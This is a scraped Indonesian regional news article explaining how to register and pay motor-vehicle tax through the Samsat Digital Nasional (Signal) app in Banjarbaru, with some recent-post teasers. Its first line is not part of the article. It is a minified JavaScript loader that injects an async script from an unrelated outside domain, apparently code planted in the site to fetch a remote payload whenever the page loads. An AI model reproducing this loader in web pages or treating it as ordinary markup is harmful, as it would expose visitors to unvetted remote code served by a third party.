(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Teknologi

Berikut Ini Cara Penggunaan Aplikasi Samsat Digital Nasional


KANALKALIMANTAN.COM, BANJARBARU – Aplikasi Samsat Digital Nasional (Signal) yang kini sudah diterapkan Unit Pelayanan Pendapatan Daerah (UPPD) Samsat Banjarbaru memudahkan masyarakat dalam pengurusan pajak.

Dengan aplikasi Signal, masyarakat tidak perlu menyambangi Kantor Samsat. Cukup di rumah saja, masyarakat sudah bisa membayar Pajak Kendaraan Bermotor (PKB).

Kepala UPPD Samsat Banjarbaru, Tommy Hariadi menjelaskan, Signal menyediakan pelayanan untuk pengesahan STNK tahunan, pembayaran pajak kendaraan bermotor dan pembayaran sumbangan wajib dana kecelakaan lalu lintas jalan.

“Hal ini untuk memudahkan masyarakat untuk pengurusan wajib pajak,” ujarnya.
Ada beberapa tahapan bagi masyarakat untuk mengaktifkan aplikasi tersebut.

 

Baca juga : Vonis Janggal Kasus Pemerkosa Oknum Polisi, Jaringan Perempuan Borneo: Dua JPU Harus Disanksi!

Setelah mengunduh aplikasi di AppStore atau Playstore, proses selanjutnya adalah resgitrasi.

Ada beberapa data-data pribadi yang harus dimasukkan seperti NIK, nama, email, nomor ponsel dan kata sandi. Pengguna juga harus memasukan NIK, mengunggah foto e-KTP, lalu berswafoto.

Setelah itu, memasukkan kode OTP yang dikirim melalui SMS. Pengguna harus melakukan verifikasi ulang dengan mengklik link yang dikirim aplikasi Signal melalui email.

Langkah selanjutnya, pengguna memasukkan nomor kendaraan bermotornya, registrasi kendaraan dan lima digit terakhir nomor rangka. Setelah itu, memilih berbagai fitur yang tersedia di aplikasi.

 

Baca juga : HUT Pokemon ke-25, Converse Punya Kejutan Terbaru!

Seperti pengesahan STNK atau pembayaran pajak. Pembayaran pajak, ada pilihan tata cara pembayaran dan opsi bank. Sehingga, pengguna dapat memilih cara pembayaran yang dianggap mudah.

“Di sini sudah ada beberapa bank yang sudah bisa seperti BNI, Bank Kalsel, Bank Mandiri dan lainnya, kecuali BRI yang belum,” ujarnya.

Kemudian bagaimana jika ada warga yang membeli kendaraan bekas tidak atas namanya? Dijelaskan Tommy, dalam aplikasi Signal jika ada data tidak berkesesuaian maka akan otomatis tertolak, masyarakat harus melakukan balik nama lebih dahulu.

 

Baca juga : Batam dan Bintan Kembali Dibuka Untuk Turis Singapura

“Harus balik nama dulu, nanti verifikasi di aplikasi Signal jika data tidak sesuai maka akan ditolak,” jelasnya.

Sementara untuk pelayanan balik nama harus ke Polda Kalsel. Namun, khusus untuk Banjarbaru sudah melakukan pendekatan pelayanan BPKB registrasi dan identifikasi sudah bisa di kantor Dirlantas Polda Kalsel di Jalan A Yani Km 21. Sehingga tidak perlu datang ke Mapolda Kalsel. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

6 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

8 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

8 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

8 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

10 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

11 jam ago

This website uses cookies.